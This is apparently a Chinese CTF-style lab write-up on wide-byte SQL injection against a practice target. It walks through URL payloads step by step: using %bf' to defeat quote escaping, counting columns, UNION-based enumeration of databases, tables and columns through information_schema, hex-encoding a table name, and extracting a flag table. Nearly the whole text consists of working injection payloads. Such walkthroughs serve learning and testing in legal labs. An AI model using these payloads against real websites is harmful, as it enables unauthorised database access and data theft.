SQL宽字节注入01

靶机地址:http://www.whalwl.top:8011【2020年8月前有效】

1、http://www.whalwl.top:8011/wide.php?id=1%bf' and 1=1 %23   //不报错

     http://www.whalwl.top:8011/wide.php?id=1%bf' and 1=2 %23   //报错

代码执行,说明存在注入


2、id=1%bf' order by 5 %23    //查看字段数,即列数

3、id=1%bf' and 1=2  union select 1,2,3,4,5%23   //查找回显点

SQL宽字节注入01

4、id=1%bf' and 1=2  union select 1,group_concat(schema_name),3,4,5 from information_schema.schemata %23

//查找有哪些数据库,  该语句查出了全部的数据库

SQL宽字节注入01

5、id=1%bf' and 1=2 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema = 'kzf' %23  //查找kzf中有哪些表

SQL宽字节注入01

报错,原因是转义了单引号,需要嵌套查询,避免出现单引号

1)先select database()找出当前数据库 【可省略】

    %bf' and 1=2  union select 1,database(),3,4,5 from information_schema.schemata %23

SQL宽字节注入01

2)将'kzf'改为 select database()

     id=1%bf' and 1=2 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema = (select database()) %23

SQL宽字节注入01

 

6、我想进行第三层嵌套的时候,不是报错,就是显示空内容。来回试了几次的我觉得另找它路,发现:

可以将需要用单引号括起的表名、列名可以转换成16进制,同样可以绕过单引号转义

id=1%bf' and 1=2 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema =(select database()) and table_name =0x746869735f666c6167 %23  //查找this_flag的字段名

SQL宽字节注入01

SQL宽字节注入01

7、id=1%bf' and 1=2 union select 1,id,flag,4,5 from this_flag %23   //获取字段内容

SQL宽字节注入01